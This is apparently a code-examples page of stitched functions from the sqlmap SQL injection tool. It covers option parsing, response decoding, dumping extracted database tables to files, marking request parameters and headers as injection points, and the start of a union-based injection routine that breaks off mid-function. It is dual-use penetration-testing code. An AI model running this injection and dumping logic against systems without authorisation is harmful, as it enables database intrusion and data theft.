        parser.add_option("--smoke-test", dest="smokeTest", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--live-test", dest="liveTest", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--stop-fail", dest="stopFail", action="store_true",
                          help=SUPPRESS_HELP)

        parser.add_option("--run-case", dest="runCase", help=SUPPRESS_HELP)

        parser.add_option_group(target)
        parser.add_option_group(request)
        parser.add_option_group(optimization)
        parser.add_option_group(injection)
        parser.add_option_group(detection)
        parser.add_option_group(techniques)
        parser.add_option_group(fingerprint)
        parser.add_option_group(enumeration)
        parser.add_option_group(brute)
        parser.add_option_group(udf)
        parser.add_option_group(filesystem)
        parser.add_option_group(takeover)
        parser.add_option_group(windows)
        parser.add_option_group(general)
        parser.add_option_group(miscellaneous)

        # Dirty hack to display longer options without breaking into two lines
        def _(self, *args):
            _ = parser.formatter._format_option_strings(*args)
            if len(_) > MAX_HELP_OPTION_LENGTH:
                _ = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % _
            return _

        parser.formatter._format_option_strings = parser.formatter.format_option_strings
        parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser))

        # Dirty hack for making a short option -hh
        option = parser.get_option("--hh")
        option._short_opts = ["-hh"]
        option._long_opts = []

        # Dirty hack for inherent help message of switch -h
        option = parser.get_option("-h")
        option.help = option.help.capitalize().replace("this help", "basic help")

        args = []
        advancedHelp = True

        for arg in sys.argv:
            args.append(getUnicode(arg, system=True))

        checkDeprecatedOptions(args)

        # Hide non-basic options in basic help case
        for i in xrange(len(sys.argv)):
            if sys.argv[i] == '-hh':
                sys.argv[i] = '-h'
            elif sys.argv[i] == '--version':
                print VERSION_STRING
                raise SystemExit
            elif sys.argv[i] == '-h':
                advancedHelp = False
                for group in parser.option_groups[:]:
                    found = False
                    for option in group.option_list:
                        if option.dest not in BASIC_HELP_ITEMS:
                            option.help = SUPPRESS_HELP
                        else:
                            found = True
                    if not found:
                        parser.option_groups.remove(group)

        try:
            (args, _) = parser.parse_args(args)
        except SystemExit:
            if '-h' in sys.argv and not advancedHelp:
                print "\n[!] to see full list of options run with '-hh'"
            raise

        # Expand given mnemonic options (e.g. -z "ign,flu,bat")
        for i in xrange(len(sys.argv) - 1):
            if sys.argv[i] == '-z':
                expandMnemonics(sys.argv[i + 1], parser, args)

        if args.dummy:
            args.url = args.url or DUMMY_URL

        if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \
            args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
            args.purgeOutput, args.pickledOptions)):
            errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wizard, --update, --purge-output or --dependencies), "
            errMsg += "use -h for basic or -hh for advanced help"
            parser.error(errMsg)

        return args

    except (OptionError, TypeError), e:
        parser.error(e)
Beispiel #43
0
def decodePage(page, contentEncoding, contentType):
    """
    Decode compressed/charset HTTP response
    """

    if not page or (conf.nullConnection and len(page) < 2):
        return getUnicode(page)

    if isinstance(contentEncoding, basestring) and contentEncoding:
        contentEncoding = contentEncoding.lower()
    else:
        contentEncoding = ""

    if isinstance(contentType, basestring) and contentType:
        contentType = contentType.lower()
    else:
        contentType = ""

    if contentEncoding in ("gzip", "x-gzip", "deflate"):
        if not kb.pageCompress:
            return None

        try:
            if contentEncoding == "deflate":
                data = StringIO.StringIO(
                    zlib.decompress(page, -15)
                )  # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
            else:
                data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page))
                size = struct.unpack(
                    "<l", page[-4:]
                )[0]  # Reference: http://pydoc.org/get.cgi/usr/local/lib/python2.5/gzip.py
                if size > MAX_CONNECTION_TOTAL_SIZE:
                    raise Exception("size too large")

            page = data.read()
        except Exception as ex:
            if "<html" not in page:  # in some cases, invalid "Content-Encoding" appears for plain HTML (should be ignored)
                errMsg = "detected invalid data for declared content "
                errMsg += "encoding '%s' ('%s')" % (contentEncoding,
                                                    getSafeExString(ex))
                singleTimeLogMessage(errMsg, logging.ERROR)

                warnMsg = "turning off page compression"
                singleTimeWarnMessage(warnMsg)

                kb.pageCompress = False
                raise SqlmapCompressionException

    if not conf.encoding:
        httpCharset, metaCharset = None, None

        # Reference: http://stackoverflow.com/questions/1020892/python-urllib2-read-to-unicode
        if contentType.find("charset=") != -1:
            httpCharset = checkCharEncoding(contentType.split("charset=")[-1])

        metaCharset = checkCharEncoding(
            extractRegexResult(META_CHARSET_REGEX, page))

        if (any((httpCharset, metaCharset)) and not all(
            (httpCharset, metaCharset))) or (httpCharset == metaCharset
                                             and all(
                                                 (httpCharset, metaCharset))):
            kb.pageEncoding = httpCharset or metaCharset  # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
            debugMsg = "declared web page charset '%s'" % kb.pageEncoding
            singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
        else:
            kb.pageEncoding = None
    else:
        kb.pageEncoding = conf.encoding

    # can't do for all responses because we need to support binary files too
    if not isinstance(page, unicode) and "text/" in contentType:
        # e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
        if "&#" in page:
            page = re.sub(
                r"&#x([0-9a-f]{1,2});", lambda _: (_.group(1) if len(_.group(
                    1)) == 2 else "0%s" % _.group(1)).decode("hex"), page)
            page = re.sub(
                r"&#(\d{1,3});", lambda _: chr(int(_.group(1)))
                if int(_.group(1)) < 256 else _.group(0), page)

        # e.g. %20%28%29
        if "%" in page:
            page = re.sub(r"%([0-9a-fA-F]{2})",
                          lambda _: _.group(1).decode("hex"), page)

        # e.g. &amp;
        page = re.sub(
            r"&([^;]+);", lambda _: chr(htmlEntities[_.group(1)])
            if htmlEntities.get(_.group(1), 256) < 256 else _.group(0), page)

        kb.pageEncoding = kb.pageEncoding or checkCharEncoding(
            getHeuristicCharEncoding(page))

        if (kb.pageEncoding or "").lower() == "utf-8-sig":
            kb.pageEncoding = "utf-8"
            if page and page.startswith(
                    "\xef\xbb\xbf"
            ):  # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
                page = page[3:]

        page = getUnicode(page, kb.pageEncoding)

        # e.g. &#8217;&#8230;&#8482;
        if "&#" in page:

            def _(match):
                retVal = match.group(0)
                try:
                    retVal = unichr(int(match.group(1)))
                except (ValueError, OverflowError):
                    pass
                return retVal

            page = re.sub(r"&#(\d+);", _, page)

        # e.g. &zeta;
        page = re.sub(
            r"&([^;]+);", lambda _: unichr(htmlEntities[_.group(1)])
            if htmlEntities.get(_.group(1), 0) > 255 else _.group(0), page)

    return page
Beispiel #44
0
    def dbTableValues(self, tableValues):
        replication = None
        rtable = None
        dumpFP = None

        if tableValues is None:
            return

        db = tableValues["__infos__"]["db"]
        if not db:
            db = "All"
        table = tableValues["__infos__"]["table"]

        if hasattr(conf, "api"):
            self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
            return

        dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            replication = Replication("%s%s%s.sqlite3" % (conf.dumpPath, os.sep, unsafeSQLIdentificatorNaming(db)))
        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if not os.path.isdir(dumpDbPath):
                os.makedirs(dumpDbPath, 0755)

            dumpFileName = "%s%s%s.%s" % (dumpDbPath, os.sep, unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())
            dumpFP = openFile(dumpFileName, "wb")

        count = int(tableValues["__infos__"]["count"])
        separator = str()
        field = 1
        fields = len(tableValues) - 1

        columns = prioritySortColumns(tableValues.keys())

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                lines = "-" * (int(info["length"]) + 2)
                separator += "+%s" % lines

        separator += "+"
        self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table)))

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            cols = []

            for column in columns:
                if column != "__infos__":
                    colType = Replication.INTEGER

                    for value in tableValues[column]['values']:
                        try:
                            if not value or value == " ":  # NULL
                                continue

                            int(value)
                        except ValueError:
                            colType = None
                            break

                    if colType is None:
                        colType = Replication.REAL

                        for value in tableValues[column]['values']:
                            try:
                                if not value or value == " ":  # NULL
                                    continue

                                float(value)
                            except ValueError:
                                colType = None
                                break

                    cols.append((column, colType if colType else Replication.TEXT))

            rtable = replication.createTable(table, cols)
        elif conf.dumpFormat == DUMP_FORMAT.HTML:
            documentNode = getDOMImplementation().createDocument(None, "table", None)
            tableNode = documentNode.documentElement

        if count == 1:
            self._write("[1 entry]")
        else:
            self._write("[%d entries]" % count)

        self._write(separator)

        if conf.dumpFormat == DUMP_FORMAT.HTML:
            headNode = documentNode.createElement("thead")
            rowNode = documentNode.createElement("tr")
            tableNode.appendChild(headNode)
            headNode.appendChild(rowNode)
            bodyNode = documentNode.createElement("tbody")
            tableNode.appendChild(bodyNode)

        for column in columns:
            if column != "__infos__":
                info = tableValues[column]
                maxlength = int(info["length"])
                blank = " " * (maxlength - len(column))

                self._write("| %s%s" % (column, blank), newline=False)

                if conf.dumpFormat == DUMP_FORMAT.CSV:
                    if field == fields:
                        dataToDumpFile(dumpFP, "%s" % safeCSValue(column))
                    else:
                        dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel))
                elif conf.dumpFormat == DUMP_FORMAT.HTML:
                    entryNode = documentNode.createElement("td")
                    rowNode.appendChild(entryNode)
                    entryNode.appendChild(documentNode.createTextNode(column))

                field += 1

        self._write("|\n%s" % separator)

        if conf.dumpFormat == DUMP_FORMAT.CSV:
            dataToDumpFile(dumpFP, "\n")

        elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.beginTransaction()

        if count > TRIM_STDOUT_DUMP_SIZE:
            warnMsg = "console output will be trimmed to "
            warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE
            warnMsg += "large table size"
            logger.warning(warnMsg)

        for i in xrange(count):
            console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
            field = 1
            values = []

            if conf.dumpFormat == DUMP_FORMAT.HTML:
                rowNode = documentNode.createElement("tr")
                bodyNode.appendChild(rowNode)

            for column in columns:
                if column != "__infos__":
                    info = tableValues[column]

                    if len(info["values"]) <= i:
                        continue

                    if info["values"][i] is None:
                        value = u''
                    else:
                        value = getUnicode(info["values"][i])
                        value = DUMP_REPLACEMENTS.get(value, value)

                    values.append(value)
                    maxlength = int(info["length"])
                    blank = " " * (maxlength - len(value))
                    self._write("| %s%s" % (value, blank), newline=False, console=console)

                    if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
                        mimetype = magic.from_buffer(value, mime=True)
                        if any(mimetype.startswith(_) for _ in ("application", "image")):
                            if not os.path.isdir(dumpDbPath):
                                os.makedirs(dumpDbPath, 0755)

                            filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (column, randomInt(8)))
                            warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
                            logger.warn(warnMsg)

                            with open(filepath, "wb") as f:
                                _ = safechardecode(value, True)
                                f.write(_)

                    if conf.dumpFormat == DUMP_FORMAT.CSV:
                        if field == fields:
                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
                        else:
                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
                        entryNode = documentNode.createElement("td")
                        rowNode.appendChild(entryNode)
                        entryNode.appendChild(documentNode.createTextNode(value))

                    field += 1

            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                try:
                    rtable.insert(values)
                except SqlmapValueException:
                    pass
            elif conf.dumpFormat == DUMP_FORMAT.CSV:
                dataToDumpFile(dumpFP, "\n")

            self._write("|", console=console)

        self._write("%s\n" % separator)

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.endTransaction()
            logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))

        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if conf.dumpFormat == DUMP_FORMAT.HTML:
                dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
                dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
                dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
                dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
                dataToDumpFile(dumpFP, "\n</head>\n")
                dataToDumpFile(dumpFP, tableNode.toxml())
                dataToDumpFile(dumpFP, "\n</html>")
            else:
                dataToDumpFile(dumpFP, "\n")
            dumpFP.close()
            logger.info("table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName))
Beispiel #45
0
def _setRequestParams():
    """
    Check and set the parameters and perform checks on 'data' option for
    HTTP method POST.
    """

    if conf.direct:
        conf.parameters[None] = "direct connection"
        return

    testableParameters = False

    # Perform checks on GET parameters
    if conf.parameters.get(PLACE.GET):
        parameters = conf.parameters[PLACE.GET]
        paramDict = paramToDict(PLACE.GET, parameters)

        if paramDict:
            conf.paramDict[PLACE.GET] = paramDict
            testableParameters = True

    # Perform checks on POST parameters
    if conf.method == HTTPMETHOD.POST and conf.data is None:
        logger.warn("detected empty POST body")
        conf.data = ""

    if conf.data is not None:
        conf.method = HTTPMETHOD.POST if not conf.method or conf.method == HTTPMETHOD.GET else conf.method
        hintNames = []

        def process(match, repl):
            retVal = match.group(0)

            if not (conf.testParameter
                    and match.group("name") not in conf.testParameter):
                retVal = repl
                while True:
                    _ = re.search(r"\\g<([^>]+)>", retVal)
                    if _:
                        retVal = retVal.replace(
                            _.group(0),
                            match.group(
                                int(_.group(1)) if _.group(1).isdigit() else _.
                                group(1)))
                    else:
                        break
                if CUSTOM_INJECTION_MARK_CHAR in retVal:
                    hintNames.append(
                        (retVal.split(CUSTOM_INJECTION_MARK_CHAR)[0],
                         match.group("name")))
            return retVal

        if kb.processUserMarks is None and CUSTOM_INJECTION_MARK_CHAR in conf.data:
            message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR
            message += "'--data'. Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y')

            if choice == 'Q':
                raise SqlmapUserQuitException
            else:
                kb.processUserMarks = choice == 'Y'

                if kb.processUserMarks:
                    kb.testOnlyCustom = True

        if re.search(JSON_RECOGNITION_REGEX, conf.data):
            message = "JSON data found in %s data. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y')

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks
                        and CUSTOM_INJECTION_MARK_CHAR in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE,
                                        conf.data)
                    conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR,
                                                  ASTERISK_MARKER)
                    conf.data = re.sub(
                        r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"',
                        functools.partial(process,
                                          repl=r'\g<1>%s"' %
                                          CUSTOM_INJECTION_MARK_CHAR),
                        conf.data)
                    conf.data = re.sub(
                        r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)',
                        functools.partial(process,
                                          repl=r'\g<0>%s' %
                                          CUSTOM_INJECTION_MARK_CHAR),
                        conf.data)
                    match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]',
                                      conf.data)
                    if match and not (conf.testParameter
                                      and match.group("name")
                                      not in conf.testParameter):
                        _ = match.group(2)
                        _ = re.sub(r'("[^"]+)"',
                                   '\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR, _)
                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)',
                                   '\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR, _)
                        conf.data = conf.data.replace(
                            match.group(0),
                            match.group(0).replace(match.group(2), _))

                kb.postHint = POST_HINT.JSON

        elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
            message = "JSON-like data found in %s data. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks
                        and CUSTOM_INJECTION_MARK_CHAR in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE,
                                        conf.data)
                    conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR,
                                                  ASTERISK_MARKER)
                    conf.data = re.sub(
                        r"('(?P<name>[^']+)'\s*:\s*'[^']+)'",
                        functools.partial(process,
                                          repl=r"\g<1>%s'" %
                                          CUSTOM_INJECTION_MARK_CHAR),
                        conf.data)
                    conf.data = re.sub(
                        r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)",
                        functools.partial(process,
                                          repl=r"\g<0>%s" %
                                          CUSTOM_INJECTION_MARK_CHAR),
                        conf.data)

                kb.postHint = POST_HINT.JSON_LIKE

        elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
            message = "Array-like data found in %s data. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks
                        and CUSTOM_INJECTION_MARK_CHAR in conf.data):
                    conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR,
                                                  ASTERISK_MARKER)
                    conf.data = re.sub(
                        r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER,
                        r"\g<1>%s" % CUSTOM_INJECTION_MARK_CHAR, conf.data)

                kb.postHint = POST_HINT.ARRAY_LIKE

        elif re.search(XML_RECOGNITION_REGEX, conf.data):
            message = "SOAP/XML data found in %s data. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks
                        and CUSTOM_INJECTION_MARK_CHAR in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE,
                                        conf.data)
                    conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR,
                                                  ASTERISK_MARKER)
                    conf.data = re.sub(
                        r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)",
                        functools.partial(process,
                                          repl=r"\g<1>\g<4>%s\g<5>" %
                                          CUSTOM_INJECTION_MARK_CHAR),
                        conf.data)

                kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower(
                ) else POST_HINT.XML

        elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
            message = "Multipart-like data found in %s data. " % conf.method
            message += "Do you want to process it? [Y/n/q] "
            choice = readInput(message, default='Y').upper()

            if choice == 'Q':
                raise SqlmapUserQuitException
            elif choice == 'Y':
                if not (kb.processUserMarks
                        and CUSTOM_INJECTION_MARK_CHAR in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE,
                                        conf.data)
                    conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR,
                                                  ASTERISK_MARKER)
                    conf.data = re.sub(
                        r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P<name>[^\n]+?)[\"']).+?)(((\r)?\n)+--)",
                        functools.partial(process,
                                          repl=r"\g<1>%s\g<4>" %
                                          CUSTOM_INJECTION_MARK_CHAR),
                        conf.data)

                kb.postHint = POST_HINT.MULTIPART

        if not kb.postHint:
            if CUSTOM_INJECTION_MARK_CHAR in conf.data:  # later processed
                pass
            else:
                place = PLACE.POST

                conf.parameters[place] = conf.data
                paramDict = paramToDict(place, conf.data)

                if paramDict:
                    conf.paramDict[place] = paramDict
                    testableParameters = True
        else:
            if CUSTOM_INJECTION_MARK_CHAR not in conf.data:  # in case that no usable parameter values has been found
                conf.parameters[PLACE.POST] = conf.data

    kb.processUserMarks = True if (kb.postHint and CUSTOM_INJECTION_MARK_CHAR
                                   in conf.data) else kb.processUserMarks

    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(
            place in conf.parameters for place in (PLACE.GET, PLACE.POST)
    ) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (
            conf.data or "") and conf.url.startswith("http"):
        warnMsg = "you've provided target URL without any GET "
        warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
        warnMsg += "and without providing any POST parameters "
        warnMsg += "through option '--data'"
        logger.warn(warnMsg)

        message = "do you want to try URI injections "
        message += "in the target URL itself? [Y/n/q] "
        choice = readInput(message, default='Y').upper()

        if choice == 'Q':
            raise SqlmapUserQuitException
        elif choice == 'Y':
            conf.url = "%s%s" % (conf.url, CUSTOM_INJECTION_MARK_CHAR)
            kb.processUserMarks = True

    for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data),
                         (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
        _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value
                   or "") if place == PLACE.CUSTOM_HEADER else value or ""
        if CUSTOM_INJECTION_MARK_CHAR in _:
            if kb.processUserMarks is None:
                lut = {
                    PLACE.URI:
                    '-u',
                    PLACE.CUSTOM_POST:
                    '--data',
                    PLACE.CUSTOM_HEADER:
                    '--headers/--user-agent/--referer/--cookie'
                }
                message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR
                message += "'%s'. Do you want to process it? [Y/n/q] " % lut[
                    place]
                choice = readInput(message, default='Y').upper()

                if choice == 'Q':
                    raise SqlmapUserQuitException
                else:
                    kb.processUserMarks = choice == 'Y'

                    if kb.processUserMarks:
                        kb.testOnlyCustom = True

                        if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _:
                            warnMsg = "it seems that you've provided empty parameter value(s) "
                            warnMsg += "for testing. Please, always use only valid parameter values "
                            warnMsg += "so sqlmap could be able to run properly"
                            logger.warn(warnMsg)

            if not kb.processUserMarks:
                if place == PLACE.URI:
                    query = urlparse.urlsplit(value).query
                    if query:
                        parameters = conf.parameters[PLACE.GET] = query
                        paramDict = paramToDict(PLACE.GET, parameters)

                        if paramDict:
                            conf.url = conf.url.split('?')[0]
                            conf.paramDict[PLACE.GET] = paramDict
                            testableParameters = True
                elif place == PLACE.CUSTOM_POST:
                    conf.parameters[PLACE.POST] = conf.data
                    paramDict = paramToDict(PLACE.POST, conf.data)

                    if paramDict:
                        conf.paramDict[PLACE.POST] = paramDict
                        testableParameters = True

            else:
                conf.parameters[place] = value
                conf.paramDict[place] = OrderedDict()

                if place == PLACE.CUSTOM_HEADER:
                    for index in xrange(len(conf.httpHeaders)):
                        header, value = conf.httpHeaders[index]
                        if CUSTOM_INJECTION_MARK_CHAR in re.sub(
                                PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "",
                                value):
                            parts = value.split(CUSTOM_INJECTION_MARK_CHAR)
                            for i in xrange(len(parts) - 1):
                                conf.paramDict[place][
                                    "%s #%d%s" %
                                    (header, i + 1, CUSTOM_INJECTION_MARK_CHAR
                                     )] = "%s,%s" % (header, "".join(
                                         "%s%s" %
                                         (parts[j], CUSTOM_INJECTION_MARK_CHAR
                                          if i == j else "")
                                         for j in xrange(len(parts))))
                            conf.httpHeaders[index] = (
                                header,
                                value.replace(CUSTOM_INJECTION_MARK_CHAR, ""))
                else:
                    parts = value.split(CUSTOM_INJECTION_MARK_CHAR)

                    for i in xrange(len(parts) - 1):
                        name = None
                        if kb.postHint:
                            for ending, _ in hintNames:
                                if parts[i].endswith(ending):
                                    name = "%s %s" % (kb.postHint, _)
                                    break
                        if name is None:
                            name = "%s#%s%s" % (
                                ("%s " % kb.postHint) if kb.postHint else "",
                                i + 1, CUSTOM_INJECTION_MARK_CHAR)
                        conf.paramDict[place][name] = "".join(
                            "%s%s" %
                            (parts[j],
                             CUSTOM_INJECTION_MARK_CHAR if i == j else "")
                            for j in xrange(len(parts)))

                    if place == PLACE.URI and PLACE.GET in conf.paramDict:
                        del conf.paramDict[PLACE.GET]
                    elif place == PLACE.CUSTOM_POST and PLACE.POST in conf.paramDict:
                        del conf.paramDict[PLACE.POST]

                testableParameters = True

    if kb.processUserMarks:
        for item in ("url", "data", "agent", "referer", "cookie"):
            if conf.get(item):
                conf[item] = conf[item].replace(CUSTOM_INJECTION_MARK_CHAR, "")

    # Perform checks on Cookie parameters
    if conf.cookie:
        conf.parameters[PLACE.COOKIE] = conf.cookie
        paramDict = paramToDict(PLACE.COOKIE, conf.cookie)

        if paramDict:
            conf.paramDict[PLACE.COOKIE] = paramDict
            testableParameters = True

    # Perform checks on header values
    if conf.httpHeaders:
        for httpHeader, headerValue in list(conf.httpHeaders):
            # Url encoding of the header values should be avoided
            # Reference: http://stackoverflow.com/questions/5085904/is-ok-to-urlencode-the-value-in-headerlocation-value

            if httpHeader.title() == HTTP_HEADER.USER_AGENT:
                conf.parameters[PLACE.USER_AGENT] = urldecode(headerValue)

                condition = any((not conf.testParameter,
                                 intersect(conf.testParameter,
                                           USER_AGENT_ALIASES, True)))

                if condition:
                    conf.paramDict[PLACE.USER_AGENT] = {
                        PLACE.USER_AGENT: headerValue
                    }
                    testableParameters = True

            elif httpHeader.title() == HTTP_HEADER.REFERER:
                conf.parameters[PLACE.REFERER] = urldecode(headerValue)

                condition = any((not conf.testParameter,
                                 intersect(conf.testParameter, REFERER_ALIASES,
                                           True)))

                if condition:
                    conf.paramDict[PLACE.REFERER] = {
                        PLACE.REFERER: headerValue
                    }
                    testableParameters = True

            elif httpHeader.title() == HTTP_HEADER.HOST:
                conf.parameters[PLACE.HOST] = urldecode(headerValue)

                condition = any((not conf.testParameter,
                                 intersect(conf.testParameter, HOST_ALIASES,
                                           True)))

                if condition:
                    conf.paramDict[PLACE.HOST] = {PLACE.HOST: headerValue}
                    testableParameters = True

            else:
                condition = intersect(conf.testParameter, [httpHeader], True)

                if condition:
                    conf.parameters[PLACE.CUSTOM_HEADER] = str(
                        conf.httpHeaders)
                    conf.paramDict[PLACE.CUSTOM_HEADER] = {
                        httpHeader:
                        "%s,%s%s" %
                        (httpHeader, headerValue, CUSTOM_INJECTION_MARK_CHAR)
                    }
                    conf.httpHeaders = [
                        (header, value.replace(CUSTOM_INJECTION_MARK_CHAR, ""))
                        for header, value in conf.httpHeaders
                    ]
                    testableParameters = True

    if not conf.parameters:
        errMsg = "you did not provide any GET, POST and Cookie "
        errMsg += "parameter, neither an User-Agent, Referer or Host header value"
        raise SqlmapGenericException(errMsg)

    elif not testableParameters:
        errMsg = "all testable parameters you provided are not present "
        errMsg += "within the given request data"
        raise SqlmapGenericException(errMsg)

    if conf.csrfToken:
        if not any(conf.csrfToken in _ for _ in
                   (conf.paramDict.get(PLACE.GET, {}),
                    conf.paramDict.get(PLACE.POST, {}))) and not re.search(
                        r"\b%s\b" % re.escape(conf.csrfToken), conf.data
                        or "") and not conf.csrfToken in set(
                            _[0].lower() for _ in conf.httpHeaders
                        ) and not conf.csrfToken in conf.paramDict.get(
                            PLACE.COOKIE, {}):
            errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
            errMsg += "found in provided GET, POST, Cookie or header values"
            raise SqlmapGenericException(errMsg)
    else:
        for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
            for parameter in conf.paramDict.get(place, {}):
                if any(parameter.lower().count(_)
                       for _ in CSRF_TOKEN_PARAMETER_INFIXES):
                    message = "%s parameter '%s' appears to hold anti-CSRF token. " % (
                        place, parameter)
                    message += "Do you want sqlmap to automatically update it in further requests? [y/N] "

                    if readInput(message, default='N', boolean=True):
                        conf.csrfToken = getUnicode(parameter)
                    break
Beispiel #46
0
def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(
        "%s%s" % (conf.hexConvert, expression),
        checkConf=True)  # as union data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        # Prepare expression with delimiters
        injExpression = unescaper.escape(agent.concatQuery(expression, unpack))

        # Forge the union SQL injection request
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]
        query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
                                      vector[2], vector[3], vector[4],
                                      vector[5], vector[6], None, limited)
        where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
            6]
        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers = Request.queryPage(payload,
                                          content=True,
                                          raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        # Parse the returned page to get the exact union-based
        # SQL injection output
        def _(regex):
            return reduce(lambda x, y: x if x is not None else y, (\
                    extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
                    extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
                    if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
                    None)

        # Automatically patching last char trimming cases
        if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page
                                                                        or ""):
            warnMsg = "automatically patching output having last char trimmed"
            singleTimeWarnMessage(warnMsg)
            page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

        retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
